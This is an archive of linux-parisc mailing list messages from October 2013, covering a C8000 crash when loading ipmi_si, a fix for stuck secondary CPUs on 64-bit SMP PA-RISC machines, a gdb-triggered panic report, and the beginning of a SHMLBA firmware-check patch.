	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 11:41:08 +0100
In-Reply-To: <20131029093706.GA6255@alpha.franken.de>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.9.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5422>

Am 29.10.2013 10:37, schrieb Thomas Bogendoerfer:
> On Mon, Oct 28, 2013 at 11:56:12AM +0100, Thomas Bogendoerfer wrote:
>> On Sat, Oct 26, 2013 at 07:17:20PM +0200, Jeroen Roovers wrote:
>> > > I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which
>> > > immediately broke the machine. I have no backtrace yet, but I'll try
>> > > to get one next week. In case someone has such a machine and the mood
>> > > to debug this already??? ;)
>> >
>> > [  730.964000] ipmi message handler version 39.2
>> > [  731.092000] IPMI System Interface driver.
>> > [  731.148000] ipmi_si: Adding default-specified kcs state
>> > machine[  731.224000] ipmi_si: Trying default-specified kcs state
>> > machine at i/o address 0xca2, slave address 0x0, irq 0 <Cpu0>
>> 
>> looks like stupid ISA auto probing is turned on, when ipmi is loaded
>> as a module :-( I'll have a look.
> 
> my patch went into 3.12-rc1 so it's expected that 3.11.6 crashes 
> without it.

Oops, sorry, I misread the git log. I've now applied that patch to 
3.11.6 and the module loads fine. Am I supposed to see anything in the 
sysfs that I can query now?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP J5600/J6750 64bit SMP CPU#1 stuck problems [was: Does there
 exists any 32bit-only PARISC SMP machines?]
Date: Tue, 29 Oct 2013 14:31:07 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20131029133107.GA32231@glitch>
References: <521F9848.4010404@gmx.de>
 <1377830541.2331.5.camel@dabdike>
 <20130903155643.GA1430@glitch>
 <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28>
 <20130904140705.GA30223@glitch>
 <20130904142847.GA2893@glitch>
 <52658989.5090508@gmx.de>
 <BLU0-SMTP632514F697DEA3A182EE9897010@phx.gbl>
 <526590F0.8040504@gmx.de>
 <526C3CFF.2070005@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383053471 3213 80.91.229.3 (29 Oct 2013 13:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 13:31:11 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Dave Land <xmechanic@landcomp.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 14:31:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vb9O6-0001bt-QK
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 14:31:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755239Ab3J2NbO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 09:31:14 -0400
Original-Received: from mail-ea0-f171.google.com ([209.85.215.171]:45543 "EHLO
	mail-ea0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754988Ab3J2NbN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 09:31:13 -0400
Original-Received: by mail-ea0-f171.google.com with SMTP id h10so1314734eak.2
        for <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 06:31:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=H0T5jPQYcgQK69wgCBjGiIakNWGmGI2gA7bbof1H56I=;
        b=aVieliFJ7XpcHjuGAge30Qx0mFt/QC6hxGLTqtqC/IyXhUJuL2EIvmBZkRkLLtdgED
         mUotsBxoCWkT/Xx4u0T+vXluSNai0Cldgca9R+dT2p2emXpLdj5f+G0A4MatzsodYonx
         3GxbPzhNyCoWUgMmru5sTpjYSXmEBGgELQ/uITORQB3ZzjOIppwz9YrLlps8s+/pWba1
         qb5A2vYEVNpEkf+H1FzoNg0+uM5HRmimmWlyfl/FPPPLSIM3866SCS9Im1rRxHHII9de
         CEmIvNjuVuzBtvm2aIbX3fXdwJePCV+cXjTHD4doY9/blraU7x13BP9TukcjfeHwYzFU
         Y4Vw==
X-Received: by 10.14.208.134 with SMTP id q6mr187267eeo.147.1383053472483;
        Tue, 29 Oct 2013 06:31:12 -0700 (PDT)
Original-Received: from glitch (j115181.upc-j.chello.nl. [24.132.115.181])
        by mx.google.com with ESMTPSA id h45sm70408070eeg.5.2013.10.29.06.31.10
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 29 Oct 2013 06:31:11 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 509C73C00E7; Tue, 29 Oct 2013 14:31:07 +0100 (CET)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Dave Land <xmechanic@landcomp.net>
Content-Disposition: inline
In-Reply-To: <526C3CFF.2070005@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5423>

On Sun, Oct 27, 2013 at 12:06:55AM +0200, Helge Deller wrote:
> On 10/21/2013 10:39 PM, Helge Deller wrote:
> >>> On 09/04/2013 04:28 PM, Domenico Andreoli wrote:
> >>>>>>> J5600 is SMP capable in both 32bit and 64bit mode.
> >>>>>>> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
> >>>>>>> it down but can confirm it happens also on more recent kernels.
> >>>>> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
> >>>>> system but at least it boots one, something that didn't happen in some
> >>>>> darker moments since 2.6.22.
> >>>>>
> >>>>> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.
> >>>> BTW, this is the most detailed investigation I'm aware of:
> >>>> https://lkml.org/lkml/2008/4/20/251
> 
> I think we finally found the reason and a fix for the "CPU:1 is stuck" problem :-)

aaaand yes!

> See the patch I've just sent to the mailing list:
> [PATCH] parisc: Do not crash 64bit SMP kernels on machines with >= 4GB RAM
> https://patchwork.kernel.org/patch/3099061/

mine has (and always had) exactly 4GB

> It would be nice if those people who had problems could verify if this fixes it.
> At least on the J6750 from Dave Land I was now able to successfully boot the 64bit SMP kernel.

this fixes the issue for me

> If you might be too lazy to build yourself a kernel, just try my 3.10.17-based installer image:
> http://ftp.parisc-linux.org/debian-ports/unstable-boot-image/lifimage

I've built a shiny v3.12-rc7 parisc64.

Can't belive I'll get rid of those old 2.6.22 images and symlinks after all these years...

Many thanks.

Regards,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Tue, 29 Oct 2013 17:41:51 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20131029164151.GA10616@alpha.franken.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
 <20131028105612.GB19852@alpha.franken.de>
 <20131029093706.GA6255@alpha.franken.de>
 <236d3862441c13623a9fde73e6988591@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383065837 2656 80.91.229.3 (29 Oct 2013 16:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 16:57:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 17:57:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbCbW-0001cF-J6
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 17:57:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756783Ab3J2Q5S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 12:57:18 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:32881 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751732Ab3J2Q5R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 12:57:17 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VbCbU-0005Uv-00; Tue, 29 Oct 2013 17:57:16 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 6A45D1F9809; Tue, 29 Oct 2013 17:41:51 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <236d3862441c13623a9fde73e6988591@sf-mail.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5424>

On Tue, Oct 29, 2013 at 11:41:08AM +0100, Rolf Eike Beer wrote:
> Oops, sorry, I misread the git log. I've now applied that patch to

no problem, maybe it's worth to send the fix to stable now it's
in 3.12

> 3.11.6 and the module loads fine. Am I supposed to see anything in
> the sysfs that I can query now?

I've played only with ipmitool, which gives something like

c8000:~# ipmitool sdr
Systemboard      | 30 degrees C      | ok
CPU 1            | 43 degrees C      | ok
Ambient          | 24.50 degrees C   | ok
Main +12V        | 12.25 Volts       | ok
Main -12V        | -12.45 Volts      | ok
Main +5V         | 5.00 Volts        | ok
Main 3.3V        | 3.35 Volts        | ok
Battery +3V      | 3.11 Volts        | ok
Stdby +3.3V      | 3.40 Volts        | ok
Main +1.5V       | 1.49 Volts        | ok
VTT              | 1.19 Volts        | ok
Main +1.8V       | 1.80 Volts        | ok
FAN1 SYS         | 6360 RPM          | ok
FAN2 SYS         | 6240 RPM          | ok
FAN3 SYS         | 6000 RPM          | ok
FAN4 SYS         | 6240 RPM          | ok
FAN5 SYS         | 5880 RPM          | ok
FAN1 PSU         | 2400 RPM          | ok
FAN2 PSU         | 2400 RPM          | ok
SEL Level        | 0 unspecified     | ok
CPU 1            | 0x80              | ok
PSU              | Not Readable      | ns
PS1              | 0x02              | ok
FAN1 SYS         | 0x01              | ok
FAN2 SYS         | 0x01              | ok
FAN3 SYS         | 0x01              | ok
FAN4 SYS         | 0x01              | ok
FAN5 SYS         | 0x01              | ok
FAN1 PSU         | 0x01              | ok
FAN2 PSU         | 0x01              | ok
Watchdog         | 0x00              | ok
iRMC request     | 0x00              | ok
System Mgmt SW   | Not Readable      | ns
local Mon.       | 0x02              | ok
Pwr Btn override | 0x01              | ok
Software NMI     | 0x00              | ok
System BIOS      | Not Readable      | ns
iRMC             | Not Readable      | ns


Thomas.


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Tue, 29 Oct 2013 18:14:18 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20131029181418.16058582@marga.jer-c2.orkz.net>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
	<20131026191720.5282c0c3@marga.jer-c2.orkz.net>
	<20131028105612.GB19852@alpha.franken.de>
	<20131029093706.GA6255@alpha.franken.de>
	<236d3862441c13623a9fde73e6988591@sf-mail.de>
	<20131029164151.GA10616@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383066865 14995 80.91.229.3 (29 Oct 2013 17:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 17:14:25 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 18:14:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbCs5-0007i5-Eg
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 18:14:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758096Ab3J2ROZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 13:14:25 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:58030 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754013Ab3J2ROY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 13:14:24 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 396D033EFFD;
	Tue, 29 Oct 2013 17:14:23 +0000 (UTC)
In-Reply-To: <20131029164151.GA10616@alpha.franken.de>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5425>

On Tue, 29 Oct 2013 17:41:51 +0100
Thomas Bogendoerfer <tsbogend@alpha.franken.de> wrote:

> I've played only with ipmitool, which gives something like
> 
> c8000:~# ipmitool sdr
> Systemboard      | 30 degrees C      | ok
> CPU 1            | 43 degrees C      | ok

Yes, that works nicely here, too (in 3.12 rc6).


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Tue, 29 Oct 2013 20:50:51 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <5270119B.6060908@gmx.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de> <20131026191720.5282c0c3@marga.jer-c2.orkz.net> <20131028105612.GB19852@alpha.franken.de> <20131029093706.GA6255@alpha.franken.de> <236d3862441c13623a9fde73e6988591@sf-mail.de> <20131029164151.GA10616@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383076251 4367 80.91.229.3 (29 Oct 2013 19:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 19:50:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 20:50:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbFJW-0004r4-4H
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 20:50:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751265Ab3J2Tux (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 15:50:53 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:63495 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751044Ab3J2Tux (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 15:50:53 -0400
Original-Received: from [192.168.178.60] ([84.173.41.184]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MBaDy-1VU8a547sM-00ASI5 for
 <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 20:50:52 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <20131029164151.GA10616@alpha.franken.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:pbK1ypCZ/iUrgsdXAHgHRZS8lmNmp8/umtzBHLfKZ+Z+Swzirii
 QPDU+3Wxczq659P+KOYSx/E8coB68q7FfF1L90xyPURHeKdhzYgsWtis3XOkXejd3RWLliU
 YVclnziqp9Qs05LcsfnArigU25F75RUTuYAxaI1WJw4rKUMBwIzeW0QmYjl/RmpFMGGaTBk
 FwsXfh5xPf/NiolpiPfWQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5426
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5426>

On 10/29/2013 05:41 PM, Thomas Bogendoerfer wrote:
> On Tue, Oct 29, 2013 at 11:41:08AM +0100, Rolf Eike Beer wrote:
>> Oops, sorry, I misread the git log. I've now applied that patch to
> 
> no problem, maybe it's worth to send the fix to stable now it's
> in 3.12

Yes, I think it really makes sense to send this patch to stable kernel series.
Without this patch, any parisc box (ok - probably only the C8000) crashes
as soon as the ipmi driver is loaded.

Will you ask (e.g. if possible for kernel 3.0 and higher - not sure if it applies)? 

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Reproducible kernel panic using gdb
Date: Tue, 29 Oct 2013 21:37:49 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <52701C9D.7080906@gmx.de>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>	 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>	 <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>	 <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>	 <2125d8be63f7f5801abba4e67182d2e7@sf-mail.de> <1383023163.19537.3.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383079070 6176 80.91.229.3 (29 Oct 2013 20:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 20:37:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Guy Martin <gmsoft@tuxicoman.be>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 21:37:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbG2z-00066R-Ih
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 21:37:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752532Ab3J2Uhw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 16:37:52 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53610 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751775Ab3J2Uhw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 16:37:52 -0400
Original-Received: from [192.168.178.60] ([84.173.41.184]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LhkiL-1VxgdT2sOP-00mwOl for
 <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 21:37:50 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1383023163.19537.3.camel@dabdike.int.hansenpartnership.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:IUX0Q5gsWWXBsQiQhDuJSSTWPAttZAodRTDpME7FMgIBLme4C3q
 /9T95Yy0OHkAb7tHaIRRbZpID8gYBL9lxG3CKc9PsjYhapUYt7vlG8SyIkJ5SufEL9cOKaZ
 boOnrqwVpywDyJAEYqeAdgurY/QeISkQ8n14+lTs81gBgv60YRdqeUm138aB3U1N1q+MgAy
 TZLlGDUYb5qp1XRaX4BZQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5427
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5427>

On 10/29/2013 06:06 AM, James Bottomley wrote:
> 
> On Mon, 2013-10-28 at 16:08 +0100, Rolf Eike Beer wrote:
>> James Bottomley: wrote
>>> On Mon, 2013-10-28 at 10:00 +0100, Guy Martin wrote:
>>>> Hi Helge,
>>>>
>>>>>
>>>>> Works without crash for me on 3.12-rc6 ?
>>>>> Linux ls3011 3.12.0-rc6-64bit+
>>>>>
>>>>> Since you run 3.10.6, maybe updating the kernel might help.
>>>>> Esp. this patch, which has been backported to kernel 3.10 (and is in
>>>>> 3.10.17):
>>>>> http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1
>>>>
>>>> Still the same problem with 3.12-rc6 here :
>>>
>>> What system and CPU?
>>
>> C8000
> 
> I tried this on a rp3440  (pa8800) and I can't reproduce.  I think it
> might be something about the way the kernel is compiled.  The (null)
> values for rp2 and IOAQ[0] look suspicious.

I tried it again, but this time on my c8000..
Again, it does not crash for me.
Kernel is 3.12.0-rc7-64bit.

I think James is right. Might be something with your compiler, but it would
be interesting what it is...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: check hardcoded value of SHMLBA against value
 reported by firmware
Date: Tue, 29 Oct 2013 22:05:44 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20131029210544.GA18167@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383080747 25767 80.91.229.3 (29 Oct 2013 21:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 21:05:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 22:05:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbGU1-0007Bg-Eb
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 22:05:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751469Ab3J2VFt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 17:05:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:63155 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751345Ab3J2VFs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 17:05:48 -0400
Original-Received: from p100.box ([84.173.41.184]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MX1dc-1V7cg222xo-00VzqV for
 <linux-parisc@vger.kernel.org>; Tue, 29 Oct 2013 22:05:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:fEqPmpTn/RiJZancHitIZ3W7kvZbFSR58EAuKwjs292FTeLtmL8
 qxA/Hb0rG4G7p44MwJWh/4CaKHgZxAg+Ch5wa/f2RvGXxdbs6BuADLD+7C/mEoTmozTVXaU
 5q39u3c2ZPK2TH9oYfm7OhrZVy3IKKV0pIWMacSV73amY6tClxmzXqP1Z+OKnmRQbcfaLcC
 EsRDIGq/j/0QbT1VRU4UA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5428>

Our value of SHMLBA is hardcoded to 4MB on parisc due to aliasing restrictions
of the platform. The firmware function PDC_CACHE does return the machine
dependend value of this aliasing requirement.
So, if there is a difference between those two - which we don't expect - let's
report it at least.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c035673..3523e20 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -142,6 +142,15 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
+	/*
+	 * The alias field returned by PDC_CACHE specifies the aliasing
+	 * boundaries for virtual addresses.  So, let's verify if our hardcoded
